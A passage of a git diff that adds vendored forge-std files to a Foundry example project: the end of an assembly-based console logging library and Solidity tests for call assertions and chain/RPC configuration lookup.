+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(string,string,bool,bool)`.
+            mstore(0x00, 0x40785869)
+            mstore(0x20, 0x80)
+            mstore(0x40, 0xc0)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+            writeString(0xe0, p1)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, bytes32 p1, bool p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(string,string,bool,uint256)`.
+            mstore(0x00, 0xd6aefad2)
+            mstore(0x20, 0x80)
+            mstore(0x40, 0xc0)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+            writeString(0xe0, p1)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, bytes32 p1, bool p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        bytes32 m9;
+        bytes32 m10;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            m9 := mload(0x120)
+            m10 := mload(0x140)
+            // Selector of `log(string,string,bool,string)`.
+            mstore(0x00, 0x5e84b0ea)
+            mstore(0x20, 0x80)
+            mstore(0x40, 0xc0)
+            mstore(0x60, p2)
+            mstore(0x80, 0x100)
+            writeString(0xa0, p0)
+            writeString(0xe0, p1)
+            writeString(0x120, p3)
+        }
+        _sendLogPayload(0x1c, 0x144);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+            mstore(0x120, m9)
+            mstore(0x140, m10)
+        }
+    }
+
+    function log(bytes32 p0, bytes32 p1, uint256 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(string,string,uint256,address)`.
+            mstore(0x00, 0x1023f7b2)
+            mstore(0x20, 0x80)
+            mstore(0x40, 0xc0)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+            writeString(0xe0, p1)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, bytes32 p1, uint256 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(string,string,uint256,bool)`.
+            mstore(0x00, 0xc3a8a654)
+            mstore(0x20, 0x80)
+            mstore(0x40, 0xc0)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+            writeString(0xe0, p1)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, bytes32 p1, uint256 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(string,string,uint256,uint256)`.
+            mstore(0x00, 0xf45d7d2c)
+            mstore(0x20, 0x80)
+            mstore(0x40, 0xc0)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+            writeString(0xe0, p1)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, bytes32 p1, uint256 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        bytes32 m9;
+        bytes32 m10;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            m9 := mload(0x120)
+            m10 := mload(0x140)
+            // Selector of `log(string,string,uint256,string)`.
+            mstore(0x00, 0x5d1a971a)
+            mstore(0x20, 0x80)
+            mstore(0x40, 0xc0)
+            mstore(0x60, p2)
+            mstore(0x80, 0x100)
+            writeString(0xa0, p0)
+            writeString(0xe0, p1)
+            writeString(0x120, p3)
+        }
+        _sendLogPayload(0x1c, 0x144);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+            mstore(0x120, m9)
+            mstore(0x140, m10)
+        }
+    }
+
+    function log(bytes32 p0, bytes32 p1, bytes32 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        bytes32 m9;
+        bytes32 m10;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            m9 := mload(0x120)
+            m10 := mload(0x140)
+            // Selector of `log(string,string,string,address)`.
+            mstore(0x00, 0x6d572f44)
+            mstore(0x20, 0x80)
+            mstore(0x40, 0xc0)
+            mstore(0x60, 0x100)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+            writeString(0xe0, p1)
+            writeString(0x120, p2)
+        }
+        _sendLogPayload(0x1c, 0x144);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+            mstore(0x120, m9)
+            mstore(0x140, m10)
+        }
+    }
+
+    function log(bytes32 p0, bytes32 p1, bytes32 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        bytes32 m9;
+        bytes32 m10;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            m9 := mload(0x120)
+            m10 := mload(0x140)
+            // Selector of `log(string,string,string,bool)`.
+            mstore(0x00, 0x2c1754ed)
+            mstore(0x20, 0x80)
+            mstore(0x40, 0xc0)
+            mstore(0x60, 0x100)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+            writeString(0xe0, p1)
+            writeString(0x120, p2)
+        }
+        _sendLogPayload(0x1c, 0x144);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+            mstore(0x120, m9)
+            mstore(0x140, m10)
+        }
+    }
+
+    function log(bytes32 p0, bytes32 p1, bytes32 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        bytes32 m9;
+        bytes32 m10;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            m9 := mload(0x120)
+            m10 := mload(0x140)
+            // Selector of `log(string,string,string,uint256)`.
+            mstore(0x00, 0x8eafb02b)
+            mstore(0x20, 0x80)
+            mstore(0x40, 0xc0)
+            mstore(0x60, 0x100)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+            writeString(0xe0, p1)
+            writeString(0x120, p2)
+        }
+        _sendLogPayload(0x1c, 0x144);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+            mstore(0x120, m9)
+            mstore(0x140, m10)
+        }
+    }
+
+    function log(bytes32 p0, bytes32 p1, bytes32 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        bytes32 m9;
+        bytes32 m10;
+        bytes32 m11;
+        bytes32 m12;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            m9 := mload(0x120)
+            m10 := mload(0x140)
+            m11 := mload(0x160)
+            m12 := mload(0x180)
+            // Selector of `log(string,string,string,string)`.
+            mstore(0x00, 0xde68f20a)
+            mstore(0x20, 0x80)
+            mstore(0x40, 0xc0)
+            mstore(0x60, 0x100)
+            mstore(0x80, 0x140)
+            writeString(0xa0, p0)
+            writeString(0xe0, p1)
+            writeString(0x120, p2)
+            writeString(0x160, p3)
+        }
+        _sendLogPayload(0x1c, 0x184);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+            mstore(0x120, m9)
+            mstore(0x140, m10)
+            mstore(0x160, m11)
+            mstore(0x180, m12)
+        }
+    }
+}
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/test/StdAssertions.t.sol b/basic/41-foundry/with-hardhat/lib/forge-std/test/StdAssertions.t.sol
new file mode 100644
index 000000000..6c7f0f717
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/test/StdAssertions.t.sol
@@ -0,0 +1,131 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.7.0 <0.9.0;
+
+import '../src/StdAssertions.sol';
+import {Vm} from '../src/Vm.sol';
+
+interface VmInternal is Vm {
+    function _expectCheatcodeRevert(bytes memory message) external;
+}
+
+contract StdAssertionsTest is StdAssertions {
+    string constant errorMessage = 'User provided message';
+    uint256 constant maxDecimals = 77;
+
+    bool constant SHOULD_REVERT = true;
+    bool constant SHOULD_RETURN = false;
+
+    bool constant STRICT_REVERT_DATA = true;
+    bool constant NON_STRICT_REVERT_DATA = false;
+
+    VmInternal constant vm = VmInternal(address(uint160(uint256(keccak256('hevm cheat code')))));
+
+    function testFuzz_AssertEqCall_Return_Pass(
+        bytes memory callDataA,
+        bytes memory callDataB,
+        bytes memory returnData,
+        bool strictRevertData
+    ) external {
+        address targetA = address(new TestMockCall(returnData, SHOULD_RETURN));
+        address targetB = address(new TestMockCall(returnData, SHOULD_RETURN));
+
+        assertEqCall(targetA, callDataA, targetB, callDataB, strictRevertData);
+    }
+
+    function testFuzz_RevertWhenCalled_AssertEqCall_Return_Fail(
+        bytes memory callDataA,
+        bytes memory callDataB,
+        bytes memory returnDataA,
+        bytes memory returnDataB,
+        bool strictRevertData
+    ) external {
+        vm.assume(keccak256(returnDataA) != keccak256(returnDataB));
+
+        address targetA = address(new TestMockCall(returnDataA, SHOULD_RETURN));
+        address targetB = address(new TestMockCall(returnDataB, SHOULD_RETURN));
+
+        vm._expectCheatcodeRevert(
+            bytes(string.concat('Call return data does not match: ', vm.toString(returnDataA), ' != ', vm.toString(returnDataB)))
+        );
+        assertEqCall(targetA, callDataA, targetB, callDataB, strictRevertData);
+    }
+
+    function testFuzz_AssertEqCall_Revert_Pass(
+        bytes memory callDataA,
+        bytes memory callDataB,
+        bytes memory revertDataA,
+        bytes memory revertDataB
+    ) external {
+        address targetA = address(new TestMockCall(revertDataA, SHOULD_REVERT));
+        address targetB = address(new TestMockCall(revertDataB, SHOULD_REVERT));
+
+        assertEqCall(targetA, callDataA, targetB, callDataB, NON_STRICT_REVERT_DATA);
+    }
+
+    function testFuzz_RevertWhenCalled_AssertEqCall_Revert_Fail(
+        bytes memory callDataA,
+        bytes memory callDataB,
+        bytes memory revertDataA,
+        bytes memory revertDataB
+    ) external {
+        vm.assume(keccak256(revertDataA) != keccak256(revertDataB));
+
+        address targetA = address(new TestMockCall(revertDataA, SHOULD_REVERT));
+        address targetB = address(new TestMockCall(revertDataB, SHOULD_REVERT));
+
+        vm._expectCheatcodeRevert(
+            bytes(string.concat('Call revert data does not match: ', vm.toString(revertDataA), ' != ', vm.toString(revertDataB)))
+        );
+        assertEqCall(targetA, callDataA, targetB, callDataB, STRICT_REVERT_DATA);
+    }
+
+    function testFuzz_RevertWhenCalled_AssertEqCall_Fail(
+        bytes memory callDataA,
+        bytes memory callDataB,
+        bytes memory returnDataA,
+        bytes memory returnDataB,
+        bool strictRevertData
+    ) external {
+        address targetA = address(new TestMockCall(returnDataA, SHOULD_RETURN));
+        address targetB = address(new TestMockCall(returnDataB, SHOULD_REVERT));
+
+        vm.expectRevert(bytes('assertion failed'));
+        this.assertEqCallExternal(targetA, callDataA, targetB, callDataB, strictRevertData);
+
+        vm.expectRevert(bytes('assertion failed'));
+        this.assertEqCallExternal(targetB, callDataB, targetA, callDataA, strictRevertData);
+    }
+
+    // Helper function to test outcome of assertEqCall via `expect` cheatcodes
+    function assertEqCallExternal(address targetA, bytes memory callDataA, address targetB, bytes memory callDataB, bool strictRevertData) public {
+        assertEqCall(targetA, callDataA, targetB, callDataB, strictRevertData);
+    }
+
+    function testFailFail() public {
+        fail();
+    }
+}
+
+contract TestMockCall {
+    bytes returnData;
+    bool shouldRevert;
+
+    constructor(bytes memory returnData_, bool shouldRevert_) {
+        returnData = returnData_;
+        shouldRevert = shouldRevert_;
+    }
+
+    fallback() external payable {
+        bytes memory returnData_ = returnData;
+
+        if (shouldRevert) {
+            assembly {
+                revert(add(returnData_, 0x20), mload(returnData_))
+            }
+        } else {
+            assembly {
+                return(add(returnData_, 0x20), mload(returnData_))
+            }
+        }
+    }
+}
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/test/StdChains.t.sol b/basic/41-foundry/with-hardhat/lib/forge-std/test/StdChains.t.sol
new file mode 100644
index 000000000..0cd889b4e
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/test/StdChains.t.sol
@@ -0,0 +1,221 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.7.0 <0.9.0;
+
+import '../src/Test.sol';
+
+contract StdChainsMock is Test {
+    function exposed_getChain(string memory chainAlias) public returns (Chain memory) {
+        return getChain(chainAlias);
+    }
+
+    function exposed_getChain(uint256 chainId) public returns (Chain memory) {
+        return getChain(chainId);
+    }
+
+    function exposed_setChain(string memory chainAlias, ChainData memory chainData) public {
+        setChain(chainAlias, chainData);
+    }
+
+    function exposed_setFallbackToDefaultRpcUrls(bool useDefault) public {
+        setFallbackToDefaultRpcUrls(useDefault);
+    }
+}
+
+contract StdChainsTest is Test {
+    function test_ChainRpcInitialization() public {
+        // RPCs specified in `foundry.toml` should be updated.
+        assertEq(getChain(1).rpcUrl, 'https://eth-mainnet.alchemyapi.io/v2/WV407BEiBmjNJfKo9Uo_55u0z0ITyCOX');
+        assertEq(getChain('optimism_goerli').rpcUrl, 'https://goerli.optimism.io/');
+        assertEq(getChain('arbitrum_one_goerli').rpcUrl, 'https://goerli-rollup.arbitrum.io/rpc/');
+
+        // Environment variables should be the next fallback
+        assertEq(getChain('arbitrum_nova').rpcUrl, 'https://nova.arbitrum.io/rpc');
+        vm.setEnv('ARBITRUM_NOVA_RPC_URL', 'myoverride');
+        assertEq(getChain('arbitrum_nova').rpcUrl, 'myoverride');
+        vm.setEnv('ARBITRUM_NOVA_RPC_URL', 'https://nova.arbitrum.io/rpc');
+
+        // Cannot override RPCs defined in `foundry.toml`
+        vm.setEnv('MAINNET_RPC_URL', 'myoverride2');
+        assertEq(getChain('mainnet').rpcUrl, 'https://eth-mainnet.alchemyapi.io/v2/WV407BEiBmjNJfKo9Uo_55u0z0ITyCOX');
+
+        // Other RPCs should remain unchanged.
+        assertEq(getChain(31337).rpcUrl, 'http://127.0.0.1:8545');
+        assertEq(getChain('sepolia').rpcUrl, 'https://sepolia.infura.io/v3/b9794ad1ddf84dfb8c34d6bb5dca2001');
+    }
+
+    // Named with a leading underscore to clarify this is not intended to be run as a normal test,
+    // and is intended to be used in the below `test_Rpcs` test.
+    function _testRpc(string memory rpcAlias) internal {
+        string memory rpcUrl = getChain(rpcAlias).rpcUrl;
+        vm.createSelectFork(rpcUrl);
+    }
+
+    // Ensure we can connect to the default RPC URL for each chain.
+    // Currently commented out since this is slow and public RPCs are flaky, often resulting in failing CI.
+    // function test_Rpcs() public {
+    //     _testRpc("mainnet");
+    //     _testRpc("goerli");
+    //     _testRpc("sepolia");
+    //     _testRpc("optimism");
+    //     _testRpc("optimism_goerli");
+    //     _testRpc("arbitrum_one");
+    //     _testRpc("arbitrum_one_goerli");
+    //     _testRpc("arbitrum_nova");
+    //     _testRpc("polygon");
+    //     _testRpc("polygon_mumbai");
+    //     _testRpc("avalanche");
+    //     _testRpc("avalanche_fuji");
+    //     _testRpc("bnb_smart_chain");
+    //     _testRpc("bnb_smart_chain_testnet");
+    //     _testRpc("gnosis_chain");
+    //     _testRpc("moonbeam");
+    //     _testRpc("moonriver");
+    //     _testRpc("moonbase");
+    //     _testRpc("base_goerli");
+    //     _testRpc("base");
+    //     _testRpc("fraxtal");
+    //     _testRpc("fraxtal_testnet");
+    // }
+
+    function test_ChainNoDefault() public {
+        // We deploy a mock to properly test the revert.
+        StdChainsMock stdChainsMock = new StdChainsMock();
+
+        vm.expectRevert('StdChains getChain(string): Chain with alias "does_not_exist" not found.');
+        stdChainsMock.exposed_getChain('does_not_exist');
+    }
+
+    function test_SetChainFirstFails() public {
+        // We deploy a mock to properly test the revert.
+        StdChainsMock stdChainsMock = new StdChainsMock();
+
+        vm.expectRevert('StdChains setChain(string,ChainData): Chain ID 31337 already used by "anvil".');
+        stdChainsMock.exposed_setChain('anvil2', ChainData('Anvil', 31337, 'URL'));
+    }
+
+    function test_ChainBubbleUp() public {
+        // We deploy a mock to properly test the revert.
+        StdChainsMock stdChainsMock = new StdChainsMock();
+
+        stdChainsMock.exposed_setChain('needs_undefined_env_var', ChainData('', 123456789, ''));
+        vm.expectRevert(
+            'Failed to resolve env var `UNDEFINED_RPC_URL_PLACEHOLDER` in `${UNDEFINED_RPC_URL_PLACEHOLDER}`: environment variable not found'
+        );
+        stdChainsMock.exposed_getChain('needs_undefined_env_var');
+    }
+
+    function test_CannotSetChain_ChainIdExists() public {
+        // We deploy a mock to properly test the revert.
+        StdChainsMock stdChainsMock = new StdChainsMock();
+
+        stdChainsMock.exposed_setChain('custom_chain', ChainData('Custom Chain', 123456789, 'https://custom.chain/'));
+
+        vm.expectRevert('StdChains setChain(string,ChainData): Chain ID 123456789 already used by "custom_chain".');
+
+        stdChainsMock.exposed_setChain('another_custom_chain', ChainData('', 123456789, ''));
+    }
+
+    function test_SetChain() public {
+        setChain('custom_chain', ChainData('Custom Chain', 123456789, 'https://custom.chain/'));
+        Chain memory customChain = getChain('custom_chain');
+        assertEq(customChain.name, 'Custom Chain');
+        assertEq(customChain.chainId, 123456789);
+        assertEq(customChain.chainAlias, 'custom_chain');
+        assertEq(customChain.rpcUrl, 'https://custom.chain/');
+        Chain memory chainById = getChain(123456789);
+        assertEq(chainById.name, customChain.name);
+        assertEq(chainById.chainId, customChain.chainId);
+        assertEq(chainById.chainAlias, customChain.chainAlias);
+        assertEq(chainById.rpcUrl, customChain.rpcUrl);
+        customChain.name = 'Another Custom Chain';
+        customChain.chainId = 987654321;
+        setChain('another_custom_chain', customChain);
+        Chain memory anotherCustomChain = getChain('another_custom_chain');
+        assertEq(anotherCustomChain.name, 'Another Custom Chain');
+        assertEq(anotherCustomChain.chainId, 987654321);
+        assertEq(anotherCustomChain.chainAlias, 'another_custom_chain');
+        assertEq(anotherCustomChain.rpcUrl, 'https://custom.chain/');
+        // Verify the first chain data was not overwritten
+        chainById = getChain(123456789);
+        assertEq(chainById.name, 'Custom Chain');
+        assertEq(chainById.chainId, 123456789);
+    }
+
+    function test_SetNoEmptyAlias() public {
+        // We deploy a mock to properly test the revert.
+        StdChainsMock stdChainsMock = new StdChainsMock();
+
+        vm.expectRevert('StdChains setChain(string,ChainData): Chain alias cannot be the empty string.');
+        stdChainsMock.exposed_setChain('', ChainData('', 123456789, ''));
+    }
+
+    function test_SetNoChainId0() public {
+        // We deploy a mock to properly test the revert.
+        StdChainsMock stdChainsMock = new StdChainsMock();
+
+        vm.expectRevert('StdChains setChain(string,ChainData): Chain ID cannot be 0.');
+        stdChainsMock.exposed_setChain('alias', ChainData('', 0, ''));
+    }
+
+    function test_GetNoChainId0() public {
+        // We deploy a mock to properly test the revert.
+        StdChainsMock stdChainsMock = new StdChainsMock();
+
+        vm.expectRevert('StdChains getChain(uint256): Chain ID cannot be 0.');
+        stdChainsMock.exposed_getChain(0);
+    }
+
+    function test_GetNoEmptyAlias() public {
+        // We deploy a mock to properly test the revert.
+        StdChainsMock stdChainsMock = new StdChainsMock();
+
+        vm.expectRevert('StdChains getChain(string): Chain alias cannot be the empty string.');
+        stdChainsMock.exposed_getChain('');
+    }
+
+    function test_ChainIdNotFound() public {
+        // We deploy a mock to properly test the revert.
+        StdChainsMock stdChainsMock = new StdChainsMock();
+
+        vm.expectRevert('StdChains getChain(string): Chain with alias "no_such_alias" not found.');
+        stdChainsMock.exposed_getChain('no_such_alias');
+    }
+
+    function test_ChainAliasNotFound() public {
+        // We deploy a mock to properly test the revert.
+        StdChainsMock stdChainsMock = new StdChainsMock();
+
+        vm.expectRevert('StdChains getChain(uint256): Chain with ID 321 not found.');
+
+        stdChainsMock.exposed_getChain(321);
+    }
+
+    function test_SetChain_ExistingOne() public {
+        // We deploy a mock to properly test the revert.
+        StdChainsMock stdChainsMock = new StdChainsMock();
+
+        setChain('custom_chain', ChainData('Custom Chain', 123456789, 'https://custom.chain/'));
+        assertEq(getChain(123456789).chainId, 123456789);
+
+        setChain('custom_chain', ChainData('Modified Chain', 999999999, 'https://modified.chain/'));
+        vm.expectRevert('StdChains getChain(uint256): Chain with ID 123456789 not found.');
+        stdChainsMock.exposed_getChain(123456789);
+
+        Chain memory modifiedChain = getChain(999999999);
+        assertEq(modifiedChain.name, 'Modified Chain');
